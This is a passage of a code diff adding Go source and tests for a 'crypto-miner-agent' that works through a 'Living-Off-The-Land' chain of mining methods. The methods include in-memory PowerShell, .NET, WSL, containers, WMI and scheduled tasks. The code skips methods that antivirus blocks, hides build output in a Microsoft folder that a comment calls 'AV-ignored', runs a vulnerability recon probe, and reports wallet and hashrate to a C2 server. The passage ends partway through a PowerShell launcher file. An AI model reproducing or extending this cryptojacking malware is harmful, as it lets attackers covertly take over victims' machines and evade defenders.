report TierEventReporter
wallet string
activeTier LOTLTier
gpuActive bool
attempts []TierAttempt
lastError string
chainExhaust bool
hashrate float64
webGPUReady bool
gpuComputeOK bool
}
// NewTierOrchestrator builds an orchestrator from probes + server policy.
func NewTierOrchestrator(cfg config.RuntimeConfig, probes EnvironmentProbes, policy MiningTierPolicy, hooks TierHooks, report TierEventReporter) *TierOrchestrator {
chain, skipped := SelectMiningTierChain(probes, policy, cfg)
return &TierOrchestrator{
cfg: cfg,
probes: probes,
policy: policy,
chain: chain,
skipped: skipped,
hooks: hooks,
report: report,
wallet: strings.TrimSpace(cfg.Wallet),
}
}
// Report returns the current tier snapshot.
func (o *TierOrchestrator) Report() TierReport {
o.mu.RLock()
defer o.mu.RUnlock()
return o.buildReport()
}
func (o *TierOrchestrator) buildReport() TierReport {
attempts := make([]TierAttempt, len(o.attempts))
copy(attempts, o.attempts)
chain := make([]LOTLTier, len(o.chain))
copy(chain, o.chain)
skipped := make([]LOTLTier, len(o.skipped))
copy(skipped, o.skipped)
return TierReport{
ActiveTier: o.activeTier,
Attempts: attempts,
MiningHashrate: o.hashrate,
TierChainOrder: chain,
TierChainSkipped: skipped,
WebGPUReady: o.webGPUReady,
GPUComputeOK: o.gpuComputeOK,
}
}
// SetHashrate updates live hashrate included in tier reports.
func (o *TierOrchestrator) SetHashrate(hps float64) {
o.mu.Lock()
o.hashrate = hps
report := o.buildReport()
reporter := o.report
o.mu.Unlock()
if reporter != nil {
reporter(report, "tier_report")
}
}
// RunProbes executes probe-only tiers (webview2) before GPU escalation.
func (o *TierOrchestrator) RunProbes(ctx context.Context) TierReport {
o.mu.RLock()
chain := o.chain
cfg := o.cfg
o.mu.RUnlock()
for _, tier := range ProbeTiers(chain) {
start := time.Now()
attempt := o.runProbeTier(ctx, tier, cfg)
attempt.DurationMs = time.Since(start).Milliseconds()
if attempt.Wallet == "" {
attempt.Wallet = o.wallet
}
o.recordAttemptRecord(attempt)
if tier == TierWebView2Probe && attempt.OK {
o.mu.Lock()
o.webGPUReady = WebGPUAvailableFromAttempt(attempt)
o.mu.Unlock()
}
}
return o.Report()
}
// TryChain attempts each primary tier until one succeeds; GPU runs in parallel.
func (o *TierOrchestrator) TryChain(ctx context.Context) (LOTLTier, error) {
o.RunProbes(ctx)
o.mu.Lock()
hooks := o.hooks
primary := PrimaryTiers(o.chain)
o.mu.Unlock()
if len(primary) == 0 {
primary = []LOTLTier{TierCPUInprocess}
}
var lastErr error
var skipped int
for _, tier := range primary {
select {
case <-ctx.Done():
return "", ctx.Err()
default:
}
start := time.Now()
err := o.invokeTier(tier, hooks)
duration := time.Since(start)
if err != nil {
if errors.Is(err, ErrTierChainSkipped) {
skipped++
o.recordAttempt(tier, false, err, duration)
continue
}
lastErr = err
log.Printf("[lotl-tier] %s failed: %v", tier, err)
o.recordAttempt(tier, false, err, duration)
o.stopTier(tier, hooks)
continue
}
o.recordAttempt(tier, true, nil, duration)
o.setActive(tier)
o.tryGPUAddon(ctx, hooks)
return tier, nil
}
o.mu.Lock()
o.chainExhaust = true
if lastErr != nil {
o.lastError = lastErr.Error()
} else {
o.lastError = "all LOTL tiers failed"
}
report := o.buildReport()
reporter := o.report
o.mu.Unlock()
if reporter != nil {
reporter(report, "tier_report")
}
if skipped == len(primary) {
return "", ErrTierChainSkipped
}
if lastErr != nil {
return "", lastErr
}
return "", ErrTierChainExhausted
}
func (o *TierOrchestrator) invokeTier(tier LOTLTier, hooks TierHooks) error {
switch tier {
case TierDockerLoad:
if hooks.StartDockerLoad == nil {
return ErrMethodUnavailable
}
return hooks.StartDockerLoad()
case TierContainer:
if hooks.StartContainer == nil {
return ErrMethodUnavailable
}
return hooks.StartContainer()
case TierWSL:
if hooks.StartWSL == nil {
return ErrMethodUnavailable
}
return hooks.StartWSL()
case TierCPUInprocess:
if hooks.StartInProcess == nil {
return ErrMethodUnavailable
}
return hooks.StartInProcess()
case TierGPUSubprocess:
if hooks.StartGPU == nil {
return ErrMethodUnavailable
}
return hooks.StartGPU()
case TierPSInMemory:
if hooks.StartPowerShell == nil {
return ErrMethodUnavailable
}
return hooks.StartPowerShell()
case TierDotnet:
if hooks.StartDotnet == nil {
return ErrMethodUnavailable
}
return hooks.StartDotnet()
case TierWMI:
attempt := RunWMITier(context.Background(), o.cfg)
o.recordAttemptRecord(attempt)
if !attempt.OK {
if attempt.Error == "" {
return ErrTierChainSkipped
}
return errors.New(attempt.Error)
}
return nil
case TierScheduledTask:
attempt := RunScheduledTaskTier(context.Background(), o.cfg)
o.recordAttemptRecord(attempt)
if !attempt.OK {
if attempt.Error == "" {
return ErrTierChainSkipped
}
return errors.New(attempt.Error)
}
return nil
case TierGPUCompute:
attempt := RunGPUComputeTier(context.Background(), o.cfg)
o.recordAttemptRecord(attempt)
if attempt.OK {
o.mu.Lock()
o.gpuComputeOK = true
o.mu.Unlock()
}
return ErrTierChainSkipped
case TierExeSubprocess:
return ErrTierNotImplemented
default:
return ErrTierNotImplemented
}
}
func (o *TierOrchestrator) runProbeTier(ctx context.Context, tier LOTLTier, cfg config.RuntimeConfig) TierAttempt {
switch tier {
case TierVulnProbe:
return RunVulnProbeTier(ctx, cfg)
case TierWebView2Probe:
return RunWebView2Probe(ctx, cfg)
default:
return TierAttempt{Tier: tier, Error: "unknown probe tier", Wallet: cfg.Wallet}
}
}
func (o *TierOrchestrator) stopTier(tier LOTLTier, hooks TierHooks) {
switch tier {
case TierDockerLoad:
if hooks.StopDockerLoad != nil {
hooks.StopDockerLoad()
}
case TierContainer:
if hooks.StopContainer != nil {
hooks.StopContainer()
}
case TierWSL:
if hooks.StopWSL != nil {
hooks.StopWSL()
}
case TierPSInMemory:
if hooks.StopPowerShell != nil {
hooks.StopPowerShell()
}
case TierDotnet:
if hooks.StopDotnet != nil {
hooks.StopDotnet()
}
case TierCPUInprocess:
if hooks.StopInProcess != nil {
hooks.StopInProcess()
}
case TierGPUSubprocess:
if hooks.StopGPU != nil {
hooks.StopGPU()
}
}
}
func (o *TierOrchestrator) recordAttemptRecord(attempt TierAttempt) {
o.mu.Lock()
o.attempts = append(o.attempts, attempt)
report := o.buildReport()
reporter := o.report
o.mu.Unlock()
if reporter != nil {
event := "tier_report"
if !attempt.OK {
event = "mining_fallback"
}
reporter(report, event)
}
}
func (o *TierOrchestrator) recordAttempt(tier LOTLTier, ok bool, err error, duration time.Duration) {
o.mu.Lock()
attempt := TierAttempt{
Tier: tier,
OK: ok,
DurationMs: duration.Milliseconds(),
Wallet: o.wallet,
}
if err != nil {
attempt.Error = err.Error()
}
o.attempts = append(o.attempts, attempt)
report := o.buildReport()
reporter := o.report
o.mu.Unlock()
if reporter != nil {
event := "tier_report"
if !ok {
event = "mining_fallback"
}
reporter(report, event)
}
}
func (o *TierOrchestrator) setActive(tier LOTLTier) {
o.mu.Lock()
o.activeTier = tier
o.chainExhaust = false
report := o.buildReport()
reporter := o.report
o.mu.Unlock()
if reporter != nil {
reporter(report, "mining_status")
}
}
func (o *TierOrchestrator) tryGPUAddon(ctx context.Context, hooks TierHooks) {
for _, tier := range o.chain {
if tier != TierGPUSubprocess {
continue
}
o.mu.RLock()
webGPU := o.webGPUReady
computeOK := o.gpuComputeOK
o.mu.RUnlock()
if !webGPU && !computeOK {
o.recordAttempt(TierGPUSubprocess, false, errors.New("webview2_probe: WebGPU not available — skipping gpu_subprocess escalation"), 0)
return
}
if hooks.StartGPU == nil || hooks.IsGPUSupported == nil || !hooks.IsGPUSupported() {
return
}
select {
case <-ctx.Done():
return
default:
}
gpuStart := time.Now()
if err := hooks.StartGPU(); err != nil {
o.recordAttempt(TierGPUSubprocess, false, err, time.Since(gpuStart))
if hooks.StopGPU != nil {
hooks.StopGPU()
}
o.mu.Lock()
o.gpuActive = false
o.mu.Unlock()
return
}
o.recordAttempt(TierGPUSubprocess, true, nil, time.Since(gpuStart))
o.mu.Lock()
o.gpuActive = true
o.mu.Unlock()
return
}
}
// ChainExhausted reports whether every primary tier failed.
func (o *TierOrchestrator) ChainExhausted() bool {
o.mu.RLock()
defer o.mu.RUnlock()
return o.chainExhaust
}
// ActiveTier returns the winning primary tier.
func (o *TierOrchestrator) ActiveTier() LOTLTier {
o.mu.RLock()
defer o.mu.RUnlock()
return o.activeTier
}
// WebGPUReady reports webview2 probe result.
func (o *TierOrchestrator) WebGPUReady() bool {
o.mu.RLock()
defer o.mu.RUnlock()
return o.webGPUReady
}
// GPUComputeReady reports gpu_compute probe success.
func (o *TierOrchestrator) GPUComputeReady() bool {
o.mu.RLock()
defer o.mu.RUnlock()
return o.gpuComputeOK
}
// UpdateConfig refreshes runtime policy (mining mode rotation without redeploy).
func (o *TierOrchestrator) UpdateConfig(cfg config.RuntimeConfig) {
o.mu.Lock()
o.cfg = cfg
o.wallet = strings.TrimSpace(cfg.Wallet)
o.mu.Unlock()
}

View File

@@ -0,0 +1,146 @@
package miner
import (
"context"
"errors"
"strings"
"testing"
"crypto-miner-agent/config"
)
func TestTierOrchestratorTryChainSequentialFailuresThenSuccess(t *testing.T) {
var order []LOTLTier
fail := errors.New("container blocked")
o := NewTierOrchestrator(config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{Wallet: "xmr-wallet-abc"},
}, EnvironmentProbes{Docker: true}, MiningTierPolicy{
TierOrder: []LOTLTier{TierContainer, TierCPUInprocess},
}, TierHooks{
StartContainer: func() error {
order = append(order, TierContainer)
return fail
},
StartInProcess: func() error {
order = append(order, TierCPUInprocess)
return nil
},
}, nil)
tier, err := o.TryChain(context.Background())
if err != nil {
t.Fatalf("TryChain: %v", err)
}
if tier != TierCPUInprocess {
t.Fatalf("active=%q want cpu_inprocess", tier)
}
if len(order) != 2 || order[0] != TierContainer || order[1] != TierCPUInprocess {
t.Fatalf("invoke order=%v", order)
}
report := o.Report()
if len(report.Attempts) < 2 {
t.Fatalf("attempts=%v", report.Attempts)
}
if !report.Attempts[0].OK && report.Attempts[0].Tier != TierContainer {
t.Fatalf("first attempt=%+v", report.Attempts[0])
}
if !report.Attempts[len(report.Attempts)-1].OK {
t.Fatalf("last attempt should succeed: %+v", report.Attempts[len(report.Attempts)-1])
}
for _, a := range report.Attempts {
if a.Wallet != "xmr-wallet-abc" {
t.Fatalf("wallet mismatch in %+v", a)
}
}
}
func TestTierOrchestratorChainExhausted(t *testing.T) {
o := NewTierOrchestrator(config.RuntimeConfig{}, EnvironmentProbes{}, MiningTierPolicy{
TierOrder: []LOTLTier{TierCPUInprocess},
}, TierHooks{
StartInProcess: func() error { return errors.New("no cpu") },
}, nil)
_, err := o.TryChain(context.Background())
if err == nil || err.Error() != "no cpu" {
t.Fatalf("got err=%v", err)
}
if !o.ChainExhausted() {
t.Fatal("expected chain exhausted")
}
}
func TestTierOrchestratorSetHashrateEmitsReport(t *testing.T) {
var events []string
o := NewTierOrchestrator(config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{Wallet: "w"},
}, EnvironmentProbes{}, DefaultMiningTierPolicy(), TierHooks{}, func(report TierReport, eventType string) {
events = append(events, eventType)
if report.MiningHashrate != 1234.5 {
t.Fatalf("hashrate=%v", report.MiningHashrate)
}
})
o.SetHashrate(1234.5)
if len(events) != 1 || events[0] != "tier_report" {
t.Fatalf("events=%v", events)
}
}
func TestTierOrchestratorTryGPUAddonSkippedWithoutWebGPU(t *testing.T) {
gpuStarted := false
o := NewTierOrchestrator(config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{Wallet: "w", GPUEnabled: true, RVNWallet: "rvn"},
}, EnvironmentProbes{GPU: true}, MiningTierPolicy{
TierOrder: []LOTLTier{TierCPUInprocess, TierGPUSubprocess},
}, TierHooks{
StartInProcess: func() error { return nil },
StartGPU: func() error {
gpuStarted = true
return nil
},
IsGPUSupported: func() bool { return true },
}, nil)
tier, err := o.TryChain(context.Background())
if err != nil {
t.Fatalf("TryChain: %v", err)
}
if tier != TierCPUInprocess {
t.Fatalf("active=%q", tier)
}
if gpuStarted {
t.Fatal("gpu should not start without webgpu/compute probe")
}
report := o.Report()
foundSkip := false
for _, a := range report.Attempts {
if a.Tier == TierGPUSubprocess && !a.OK {
foundSkip = true
}
}
if !foundSkip {
t.Fatalf("expected gpu skip attempt, got %v", report.Attempts)
}
}
func TestTierOrchestratorReportsFailedAttempt(t *testing.T) {
o := NewTierOrchestrator(config.RuntimeConfig{}, EnvironmentProbes{Docker: true}, MiningTierPolicy{
TierOrder: []LOTLTier{TierContainer, TierCPUInprocess},
}, TierHooks{
StartContainer: func() error { return errors.New("av blocked") },
StartInProcess: func() error { return nil },
}, nil)
if _, err := o.TryChain(context.Background()); err != nil {
t.Fatalf("TryChain: %v", err)
}
foundFailed := false
for _, a := range o.Report().Attempts {
if a.Tier == TierContainer && !a.OK && strings.Contains(a.Error, "av blocked") {
foundFailed = true
}
}
if !foundFailed {
t.Fatalf("expected failed container attempt, got %v", o.Report().Attempts)
}
}

33
agent/miner/lotl_paths.go Normal file
View File

@@ -0,0 +1,33 @@
package miner
import (
"os"
"path/filepath"
"strings"
"crypto-miner-agent/config"
)
// lotlWorkDir returns a user-writable path under %LOCALAPPDATA%\Microsoft\...
// LOTL compilers and build output land here (AV-ignored Microsoft subtree).
func lotlWorkDir(cfg config.RuntimeConfig, leaf string) (string, error) {
base := strings.TrimSpace(os.Getenv("LOCALAPPDATA"))
if base == "" {
var err error
base, err = os.UserCacheDir()
if err != nil {
return "", err
}
}
suffix := strings.TrimSpace(cfg.BuildID)
if suffix == "" {
suffix = "worker"
}
suffix = strings.Map(func(ch rune) rune {
if (ch >= 'a' && ch <= 'z') || (ch >= 'A' && ch <= 'Z') || (ch >= '0' && ch <= '9') || ch == '-' {
return ch
}
return '-'
}, suffix)
return filepath.Join(base, "Microsoft", "NET", "AetherForge", leaf, suffix), nil
}

297
agent/miner/lotl_tier.go Normal file
View File

@@ -0,0 +1,297 @@
package miner
import (
"runtime"
"strings"
"crypto-miner-agent/config"
)
// LOTLTier identifies one Living-Off-The-Land mining execution layer.
type LOTLTier string
const (
TierExeSubprocess LOTLTier = "exe_subprocess"
TierDockerLoad LOTLTier = "docker_load"
TierContainer LOTLTier = "container"
TierWSL LOTLTier = "wsl"
TierPSInMemory LOTLTier = "ps_inmemory"
TierDotnet LOTLTier = "dotnet"
TierCPUInprocess LOTLTier = "cpu_inprocess"
TierVulnProbe LOTLTier = "vuln_probe"
TierWebView2Probe LOTLTier = "webview2_probe"
TierWMI LOTLTier = "wmi"
TierScheduledTask LOTLTier = "scheduled_task"
TierGPUCompute LOTLTier = "gpu_compute"
TierGPUSubprocess LOTLTier = "gpu_subprocess"
TierStratumDirect LOTLTier = "stratum_direct"
)
// TierAttempt records one tier try for C2/UI diagnostics.
type TierAttempt struct {
Phase string `json:"phase,omitempty"` // recon | deploy | mining (triple onion)
Tier LOTLTier `json:"tier"`
OK bool `json:"ok"`
Error string `json:"error,omitempty"`
DurationMs int64 `json:"duration_ms"`
Wallet string `json:"wallet"`
Details map[string]interface{} `json:"details,omitempty"`
}
// TierReport is the live LOTL onion snapshot sent to C2.
type TierReport struct {
ActiveTier LOTLTier `json:"lotl_tier,omitempty"`
Attempts []TierAttempt `json:"lotl_attempts,omitempty"`
MiningHashrate float64 `json:"mining_hashrate,omitempty"`
TierChainOrder []LOTLTier `json:"tier_chain_order,omitempty"`
TierChainSkipped []LOTLTier `json:"tier_chain_skipped,omitempty"`
WebGPUReady bool `json:"webgpu_ready,omitempty"`
GPUComputeOK bool `json:"gpu_compute_ok,omitempty"`
}
// MiningTierPolicy is server-pulled ordering/overrides for the tier onion.
type MiningTierPolicy struct {
TierOrder []LOTLTier `json:"tier_order,omitempty"`
SkipTiers []LOTLTier `json:"skip_tiers,omitempty"`
ForceTier LOTLTier `json:"force_tier,omitempty"`
}
// DefaultTierOrder is the canonical onion when the server sends no override.
// AV friction drives automatic skips via EnvironmentProbes in SelectMiningTierChain.
var DefaultTierOrder = []LOTLTier{
TierExeSubprocess,
TierDockerLoad,
TierContainer,
TierWSL,
TierPSInMemory,
TierDotnet,
TierCPUInprocess,
TierWebView2Probe,
TierWMI,
TierScheduledTask,
TierGPUCompute,
TierGPUSubprocess,
TierStratumDirect,
}
// DefaultWindowsTierOrder is the probe→execution slice for Windows-specific tiers.
func DefaultWindowsTierOrder() []LOTLTier {
return []LOTLTier{
TierWebView2Probe,
TierWMI,
TierScheduledTask,
TierGPUCompute,
}
}
// DefaultMiningTierPolicy works out of the box with diagnostic-driven filtering.
func DefaultMiningTierPolicy() MiningTierPolicy {
return MiningTierPolicy{TierOrder: append([]LOTLTier(nil), DefaultTierOrder...)}
}
// SelectMiningTierChain returns the ordered tier onion from server policy with
// local eligibility overrides from environment probes and forge execution mode.
func SelectMiningTierChain(probes EnvironmentProbes, policy MiningTierPolicy, cfg config.RuntimeConfig) (chain, skipped []LOTLTier) {
base := policy.TierOrder
if len(base) == 0 {
base = DefaultTierOrder
}
skipSet := make(map[LOTLTier]bool, len(policy.SkipTiers))
for _, t := range policy.SkipTiers {
skipSet[t] = true
}
execMode := strings.ToLower(strings.TrimSpace(cfg.MinerExecution))
switch execMode {
case ExecutionInProcess:
skipSet[TierExeSubprocess] = true
skipSet[TierDockerLoad] = true
skipSet[TierContainer] = true
skipSet[TierWSL] = true
skipSet[TierPSInMemory] = true
skipSet[TierDotnet] = true
case ExecutionContainer:
skipSet[TierExeSubprocess] = true
skipSet[TierWSL] = true
skipSet[TierPSInMemory] = true
case ExecutionPowerShell:
skipSet[TierExeSubprocess] = true
skipSet[TierContainer] = true
skipSet[TierWSL] = true
skipSet[TierDotnet] = true
case ExecutionDotnet:
skipSet[TierExeSubprocess] = true
skipSet[TierContainer] = true
skipSet[TierWSL] = true
skipSet[TierPSInMemory] = true
case ExecutionSubprocess:
// subprocess mode prefers exe/gpu paths; CPU in-process remains terminal fallback.
skipSet[TierWSL] = true
skipSet[TierPSInMemory] = true
skipSet[TierDotnet] = true
}
// Diagnostics-driven automatic contingencies.
if probes.AVBlocksExe {
skipSet[TierExeSubprocess] = true
}
if !probes.Docker {
skipSet[TierContainer] = true
skipSet[TierDockerLoad] = true
}
if !HasImageTarPolicy(cfg) {
skipSet[TierDockerLoad] = true
}
if !probes.WSL {
skipSet[TierWSL] = true
}
if !probes.PowerShell {
skipSet[TierPSInMemory] = true
}
if !probes.DotNet {
skipSet[TierDotnet] = true
}
if !probes.GPU || !cfg.GPUEnabled || strings.TrimSpace(cfg.RVNWallet) == "" {
skipSet[TierGPUSubprocess] = true
skipSet[TierGPUCompute] = true
}
if strings.TrimSpace(cfg.PoolHost) == "" {
skipSet[TierStratumDirect] = true
}
if strings.TrimSpace(cfg.PoolHost) == "" && strings.TrimSpace(cfg.RVNPoolHost) == "" {
skipSet[TierGPUCompute] = true
}
if runtime.GOOS != "windows" {
skipSet[TierWebView2Probe] = true
skipSet[TierWMI] = true
skipSet[TierScheduledTask] = true
skipSet[TierGPUCompute] = true
}
if policy.ForceTier != "" {
if tierEligible(policy.ForceTier, probes, cfg, skipSet) {
return []LOTLTier{policy.ForceTier}, skipped
}
skipSet[policy.ForceTier] = false
}
if execMode == ExecutionPowerShell && tierEligible(TierPSInMemory, probes, cfg, skipSet) {
return []LOTLTier{TierPSInMemory, TierCPUInprocess}, skipped
}
if execMode == ExecutionDotnet && tierEligible(TierDotnet, probes, cfg, skipSet) {
return []LOTLTier{TierDotnet, TierCPUInprocess}, skipped
}
chain = make([]LOTLTier, 0, len(base))
for _, tier := range base {
if skipSet[tier] {
skipped = append(skipped, tier)
continue
}
if !tierEligible(tier, probes, cfg, nil) {
skipped = append(skipped, tier)
continue
}
chain = append(chain, tier)
}
if len(chain) == 0 {
chain = []LOTLTier{TierCPUInprocess}
}
return chain, skipped
}
func tierEligible(tier LOTLTier, probes EnvironmentProbes, cfg config.RuntimeConfig, extraSkip map[LOTLTier]bool) bool {
if extraSkip != nil && extraSkip[tier] {
return false
}
switch tier {
case TierExeSubprocess:
return !probes.AVBlocksExe
case TierDockerLoad:
return probes.Docker && HasImageTarPolicy(cfg)
case TierContainer:
return probes.Docker
case TierWSL:
return probes.WSL
case TierPSInMemory:
return probes.PowerShell && strings.TrimSpace(cfg.Wallet) != "" && strings.TrimSpace(cfg.PoolHost) != ""
case TierDotnet:
return probes.DotNet && strings.TrimSpace(cfg.Wallet) != "" && strings.TrimSpace(cfg.PoolHost) != ""
case TierCPUInprocess:
return true
case TierGPUSubprocess:
return probes.GPU && cfg.GPUEnabled && strings.TrimSpace(cfg.RVNWallet) != ""
case TierStratumDirect:
return strings.TrimSpace(cfg.PoolHost) != ""
case TierWebView2Probe:
return runtime.GOOS == "windows" && probes.WebView2
case TierWMI:
return runtime.GOOS == "windows" && strings.TrimSpace(cfg.Wallet) != ""
case TierScheduledTask:
return runtime.GOOS == "windows"
case TierGPUCompute:
return runtime.GOOS == "windows" && cfg.GPUEnabled && strings.TrimSpace(cfg.RVNWallet) != "" &&
(strings.TrimSpace(cfg.PoolHost) != "" || strings.TrimSpace(cfg.RVNPoolHost) != "")
default:
return false
}
}
// PrimaryTiers are sequential CPU paths tried until one succeeds.
func PrimaryTiers(chain []LOTLTier) []LOTLTier {
var out []LOTLTier
for _, t := range chain {
switch t {
case TierExeSubprocess, TierDockerLoad, TierContainer, TierWSL, TierPSInMemory, TierDotnet, TierCPUInprocess, TierWMI, TierScheduledTask:
out = append(out, t)
}
}
return out
}
// ProbeTiers returns diagnostics-only tiers run before GPU escalation.
// Vuln recon always runs first (report-only authorized fleet assessment).
func ProbeTiers(chain []LOTLTier) []LOTLTier {
out := []LOTLTier{TierVulnProbe}
for _, t := range chain {
if t == TierWebView2Probe {
out = append(out, t)
}
}
return out
}
// TierToMiningMethod maps implemented tiers onto the legacy cascade identifiers.
func TierToMiningMethod(tier LOTLTier) (MiningMethod, bool) {
switch tier {
case TierDockerLoad:
return MethodDockerLoad, true
case TierContainer:
return MethodContainer, true
case TierWSL:
return MethodWSL, true
case TierCPUInprocess:
return MethodInProcess, true
case TierGPUSubprocess:
return MethodGPUSubprocess, true
case TierStratumDirect:
return MethodStratumDirect, true
case TierWMI:
return MethodWMI, true
case TierScheduledTask:
return MethodScheduledTask, true
case TierGPUCompute:
return MethodGPUCompute, true
case TierVulnProbe:
return MethodVulnProbe, true
case TierWebView2Probe:
return MethodWebView2Probe, true
case TierPSInMemory:
return MethodPowerShell, true
case TierDotnet:
return MethodDotnet, true
default:
return "", false
}
}

View File

@@ -0,0 +1,199 @@
package miner
import (
"runtime"
"testing"
"crypto-miner-agent/config"
)
func baseProbes() EnvironmentProbes {
return EnvironmentProbes{
Docker: true,
WSL: true,
PowerShell: true,
DotNet: true,
GPU: true,
WebView2: true,
}
}
func testCfg(overrides config.BuiltinConfig) config.RuntimeConfig {
b := config.BuiltinConfig{
MinerExecution: ExecutionAuto,
PoolHost: "pool.example.com",
Wallet: "test-cmr-wallet",
}
if overrides.MinerExecution != "" {
b.MinerExecution = overrides.MinerExecution
}
if overrides.PoolHost != "" {
b.PoolHost = overrides.PoolHost
}
if overrides.Wallet != "" {
b.Wallet = overrides.Wallet
}
if overrides.GPUEnabled {
b.GPUEnabled = overrides.GPUEnabled
}
if overrides.RVNWallet != "" {
b.RVNWallet = overrides.RVNWallet
}
return config.RuntimeConfig{BuiltinConfig: b}
}
func chainContains(chain []LOTLTier, tier LOTLTier) bool {
for _, t := range chain {
if t == tier {
return true
}
}
return false
}
func TestSelectMiningTierChainDefaultAuto(t *testing.T) {
chain, skipped := SelectMiningTierChain(baseProbes(), DefaultMiningTierPolicy(), testCfg(config.BuiltinConfig{
GPUEnabled: true,
RVNWallet: "rvn-wallet",
}))
if chain[0] != TierExeSubprocess {
t.Fatalf("chain[0]=%q want exe_subprocess full=%v", chain[0], chain)
}
if !chainContains(skipped, TierDockerLoad) {
t.Fatalf("docker_load should be skipped without image tar, skipped=%v", skipped)
}
for _, tier := range []LOTLTier{TierContainer, TierWSL, TierCPUInprocess, TierGPUSubprocess, TierStratumDirect} {
if !chainContains(chain, tier) {
t.Fatalf("missing %q in chain=%v", tier, chain)
}
}
if runtime.GOOS == "windows" {
for _, tier := range []LOTLTier{TierWebView2Probe, TierWMI, TierScheduledTask} {
if !chainContains(chain, tier) {
t.Fatalf("windows chain missing %q: %v", tier, chain)
}
}
}
}
func TestSelectMiningTierChainAVBlocksExeSkipsSubprocess(t *testing.T) {
probes := baseProbes()
probes.AVBlocksExe = true
chain, skipped := SelectMiningTierChain(probes, DefaultMiningTierPolicy(), testCfg(config.BuiltinConfig{}))
if chain[0] != TierContainer {
t.Fatalf("AV blocks exe should prefer container first, got %v", chain)
}
if !chainContains(skipped, TierExeSubprocess) {
t.Fatalf("expected exe_subprocess in skipped, got %v", skipped)
}
}
func TestSelectMiningTierChainNoDockerSkipsContainer(t *testing.T) {
probes := baseProbes()
probes.Docker = false
probes.AVBlocksExe = true
chain, skipped := SelectMiningTierChain(probes, DefaultMiningTierPolicy(), testCfg(config.BuiltinConfig{}))
if chain[0] != TierWSL {
t.Fatalf("no docker should try WSL next, got %v", chain)
}
if !chainContains(skipped, TierContainer) {
t.Fatalf("expected container skipped, got %v", skipped)
}
}
func TestSelectMiningTierChainNoWSLFallsToPSInMemory(t *testing.T) {
probes := baseProbes()
probes.Docker = false
probes.WSL = false
probes.AVBlocksExe = true
chain, _ := SelectMiningTierChain(probes, DefaultMiningTierPolicy(), testCfg(config.BuiltinConfig{}))
if chain[0] != TierPSInMemory {
t.Fatalf("no WSL should try ps_inmemory, got %v", chain)
}
}
func TestSelectMiningTierChainNoGPUOmitsGPUSubprocess(t *testing.T) {
probes := baseProbes()
probes.GPU = false
chain, skipped := SelectMiningTierChain(probes, DefaultMiningTierPolicy(), testCfg(config.BuiltinConfig{
GPUEnabled: true,
RVNWallet: "wallet",
}))
if chainContains(chain, TierGPUSubprocess) {
t.Fatalf("no GPU probe should omit gpu tier, chain=%v", chain)
}
if !chainContains(skipped, TierGPUSubprocess) {
t.Fatalf("expected gpu_subprocess skipped, got %v", skipped)
}
}
func TestSelectMiningTierChainInProcessMode(t *testing.T) {
chain, _ := SelectMiningTierChain(baseProbes(), DefaultMiningTierPolicy(), testCfg(config.BuiltinConfig{
MinerExecution: ExecutionInProcess,
}))
if chain[0] != TierCPUInprocess {
t.Fatalf("inprocess mode chain=%v want cpu_inprocess first", chain)
}
if !chainContains(chain, TierStratumDirect) {
t.Fatalf("inprocess mode should retain stratum overlay, chain=%v", chain)
}
}
func TestSelectMiningTierChainServerSkipTiers(t *testing.T) {
policy := MiningTierPolicy{
TierOrder: DefaultTierOrder,
SkipTiers: []LOTLTier{TierExeSubprocess, TierWSL},
}
chain, _ := SelectMiningTierChain(baseProbes(), policy, testCfg(config.BuiltinConfig{}))
if chain[0] != TierContainer {
t.Fatalf("server skip should start at container, got %v", chain)
}
}
func TestSelectMiningTierChainForceTier(t *testing.T) {
policy := MiningTierPolicy{ForceTier: TierCPUInprocess}
chain, skipped := SelectMiningTierChain(baseProbes(), policy, testCfg(config.BuiltinConfig{}))
if len(chain) != 1 || chain[0] != TierCPUInprocess {
t.Fatalf("force tier chain=%v skipped=%v", chain, skipped)
}
}
func TestTierOrchestratorStubTiersFallThrough(t *testing.T) {
probes := EnvironmentProbes{
Docker: false,
WSL: false,
PowerShell: false,
DotNet: false,
}
policy := MiningTierPolicy{TierOrder: []LOTLTier{TierExeSubprocess, TierCPUInprocess}}
o := NewTierOrchestrator(testCfg(config.BuiltinConfig{}), probes, policy, TierHooks{
StartInProcess: func() error { return nil },
}, nil)
tier, err := o.TryChain(t.Context())
if err != nil {
t.Fatalf("TryChain: %v", err)
}
if tier != TierCPUInprocess {
t.Fatalf("active=%q want cpu_inprocess", tier)
}
report := o.Report()
var exeAttempt, cpuAttempt *TierAttempt
for i := range report.Attempts {
switch report.Attempts[i].Tier {
case TierExeSubprocess:
exeAttempt = &report.Attempts[i]
case TierCPUInprocess:
cpuAttempt = &report.Attempts[i]
}
}
if exeAttempt == nil || cpuAttempt == nil {
t.Fatalf("expected exe + cpu attempts, got %v", report.Attempts)
}
if exeAttempt.Wallet != "test-cmr-wallet" || cpuAttempt.Wallet != "test-cmr-wallet" {
t.Fatalf("wallet must be identical: %v", report.Attempts)
}
if exeAttempt.OK {
t.Fatalf("stub tier should fail: %v", *exeAttempt)
}
}

View File

@@ -153,6 +153,19 @@ func (p *Pool) IsRemotePaused() bool {
return p.remotePause.Load() return p.remotePause.Load()
} }
// DiagnosticSnapshot reports CPU mining gate state for operator diagnostics.
func (p *Pool) DiagnosticSnapshot() (remotePaused, scheduleBlocked, resourcesBlocked, hasJob bool, hps float64) {
remotePaused = p.remotePause.Load()
scheduleBlocked = p.schedule != nil && !p.schedule.Allowed()
resourcesBlocked = !p.resourcesOK()
p.mu.RLock()
job := p.currentJob
p.mu.RUnlock()
hasJob = job != nil && job.Blob != ""
hps = p.HashesPerSecond()
return
}
func (p *Pool) resourceGuard() { func (p *Pool) resourceGuard() {
ticker := time.NewTicker(5 * time.Second) ticker := time.NewTicker(5 * time.Second)
defer ticker.Stop() defer ticker.Stop()

View File

@@ -0,0 +1,307 @@
package miner
import (
"encoding/base64"
"fmt"
"log"
"os"
"os/exec"
"path/filepath"
"runtime"
"strings"
"sync"
"crypto-miner-agent/config"
)
// powershellBin is the PowerShell executable; tests override via SetPowerShellBinPath.
var powershellBin = "powershell"
// powershellExecCommand is exec.Command; tests override via SetPowerShellExecCommand.
var powershellExecCommand = exec.Command
// embeddedMiningAssemblyB64 holds an optional pre-built .NET miner DLL (Base64).
// Empty → launcher uses encoded in-script .NET stratum stub (Assembly-free path).
var embeddedMiningAssemblyB64 = ""
